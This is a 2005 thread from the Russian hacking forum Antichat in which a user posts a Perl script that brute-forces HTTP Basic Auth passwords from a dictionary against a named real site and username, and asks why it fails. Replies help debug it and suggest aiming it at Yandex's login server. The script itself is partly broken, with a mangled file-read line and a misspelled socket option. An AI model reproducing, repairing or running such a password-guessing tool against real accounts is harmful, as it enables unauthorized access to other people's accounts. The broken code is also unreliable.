ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Брутфорс на Perl
  #1  
Старый 07.11.2005, 23:03
Аватар для Murz
Murz
Новичок
Регистрация: 04.10.2005
Сообщений: 10
Провел на форуме:
17092

Репутация: 2
По умолчанию Брутфорс на Perl

Прочитал на одном сайте статью "Брутфорс на Perl" . Попытался запустить ее на своем сервере, но сервер выдает ошиьку №500 . Причем изменял я только адрес ломаемого сайта и адрес файла с паролями.

Где ошибка ?

#!/usr/bin/perl
## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64
$server="www.bendertom.narod.ru"; ### Удаленный сервер
$port="80"; ### Удаленный порт
$dir=""; ### Запароленная директория
$logfile="rez.txt"; ### Логфайл, куда пишем пароль
$log="stat.txt"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="dictionary.txt"; ### Словарь (файл с паролями)
$user="volo-igor"; ### Имя пользователя
open(file, "$words") or die print "$!\n";
@data=;
$total=@data;
close file; ### Записываем все пароли в один массив
$i=0;
foreach $pass (@data) {
$i++;
chomp($pass);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total;
$perc=ceil($perc); ### Высчитываем процент
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;
$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => $port,
Photo => tcp) ### Порождаем сокет
or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://support.microsoft.com/\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш
$ans=<$socket>; ### Получаем ответ от сервера
if ($ans=~/200 Ok/i) {
open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог
print logf "$user:$pass is OK!!!\n";
close logf;
exit 0; ### Выходим
}
}
 
Ответить с цитированием

  #2  
Старый 07.11.2005, 23:43
Аватар для Майор
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме:
2263418

Репутация: 300


Отправить сообщение для Майор с помощью ICQ
По умолчанию

Цитата:
$server="www.bendertom.narod.ru"; ### Удаленный сервер
ты вписал адресс сайта , а надо адрес сервера; для яндекса - passport.yandex.ru
но на яндексе тебя забанят после нескольких попыток перебора ...
 
Ответить с цитированием

  #3  
Старый 07.11.2005, 23:48
Аватар для Murz
Murz
Новичок
Регистрация: 04.10.2005
Сообщений: 10
Провел на форуме:
17092

Репутация: 2
По умолчанию

Цитата:
Сообщение от Майор  
ты вписал адресс сайта , а надо адрес сервера; для яндекса - passport.yandex.ru
но на яндексе тебя забанят после нескольких попыток перебора ...
Пробовал и так. Та же ошибка .
 
Ответить с цитированием

  #4  
Старый 08.11.2005, 12:20
Аватар для Майор
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме:
2263418

Репутация: 300


Отправить сообщение для Майор с помощью ICQ
По умолчанию

Цитата:
Сообщение от Murz  
Пробовал и так. Та же ошибка .
Цитата:
print $socket "Authorization: Basic $auth\n";
потому что yandex не использует поле Authorization: для идентификации .... я бы попровил, но perl не знаю вообще =(
Брут был изначально на какой сервер настроен ?
 
Ответить с цитированием

  #5  
Старый 08.11.2005, 17:42
Аватар для m0nzt3r
m0nzt3r
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме:
5355463

Репутация: 2258


По умолчанию

если ошибка 500 то ты октрываешь ее как страницу чтоль?
__________________
Elite VPN from Green. Quality. Click and buy!!!

Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
 
Ответить с цитированием

  #6  
Старый 08.11.2005, 18:47
Аватар для bul666
bul666
Banned
Регистрация: 21.04.2005
Сообщений: 328
Провел на форуме:
632524

Репутация: 9
Отправить сообщение для bul666 с помощью ICQ
По умолчанию

Цитата:
port="80"; ### Удаленный порт
$dir=""; ### Запароленная директория
Вот это интересно....

Это вообще брут не на мыло!

Во превых Порт стоит 80, и указании папки.
Это брут на папки!
 
Ответить с цитированием

  #7  
Старый 08.11.2005, 19:11
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Ошибка, говоришь? Что, так и пишет: "Чувааак, там ниибаццо какая internal server ошибка!!"?

Хинт: что за ошибка - можно посмотреть в логах.
 
Ответить с цитированием

  #8  
Старый 08.11.2005, 21:35
Аватар для qBiN
qBiN
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме:
1535446

Репутация: 182


Отправить сообщение для qBiN с помощью ICQ
По умолчанию

)))))))))))))
Какая какая ошибка???
Монстер прав,нельзя этот скрипт запускать через www)))
Вопще насколько я помню перл,могу сказать что если ты через www открываешь страницу,то скрипт должен отправлять хидер,иначе 500 ошибка.
 
Ответить с цитированием

Ща поглядим..
  #9  
Старый 10.11.2005, 05:01
Аватар для Dronga
Dronga
ВАША реклама ТУТ!!
Регистрация: 01.07.2005
Сообщений: 647
Провел на форуме:
3478464

Репутация: 714


Отправить сообщение для Dronga с помощью ICQ
Smile Ща поглядим..

Давно с чем-то подобным сталкивался... Каждый в чем-то прав и каждый в чем-то неправ)

Этот скрипт МОЖНО запустить через WWW, т.е. открыть именно как страницу (конечно она будет динамической)).
Да, действительно, ошибка 500 выскакивает из-за ошибки в скрипте.
qBiN совершенно правильно сказал про хидеры в контексте ошибки 500.

Выводы от меня:
После строчек
PHP код:
#!/usr/bin/perl
 ## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com 
вставляешь
PHP код:
print "Content-type: text/html\n\n";  
 print 
"It's WORK!!\n"
Если сам скрипт верен, то ошибка исчезнет.

nerezus совершенно правильно и справедливо подметил по поводу error.log
Просто запустив твой скрипт на localhost интерпретатор выдал:
Код:
Syntax error at \\home\\12700~1.1\\cgi\\index.pl line 16, near "=;"\n
Execution of \\home\\12700~1.1\\cgi\\index.pl aborted due to compilation errors.\n
Это строчка
PHP код:
@data=""
Но тут уже сами гадайте... )

Если кто-то сомневается в справедливости вышесказанного - Денвер в зубы и смотрите сами)

Все спасибо принимаю в форме повышения репутации.
__________________
My ICQ: 296@463@859 ONLY!! Please check your list!!
И здесь могла бы быть ВАША реклама!!!

Последний раз редактировалось Dronga; 10.11.2005 в 05:03..
 
Ответить с цитированием

  #10  
Старый 10.11.2005, 07:42
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Цитата:
use MIME::Base64;
use IO::Socket;
use POSIX;
Цитата:
Денвер в зубы и смотрите сами)
а что из перечисленного есть в денвере? =)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Чем занятся php perl java Vandal Болталка 25 30.10.2005 18:13
Удобный Http брут на Php KEZ PHP, PERL, MySQL, JavaScript 18 13.08.2005 13:34
Books Perl FRAGNATIC PHP, PERL, MySQL, JavaScript 0 11.08.2005 16:58
Безопасность приложений на Perl k00p3r Чужие Статьи 0 12.06.2005 09:39



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ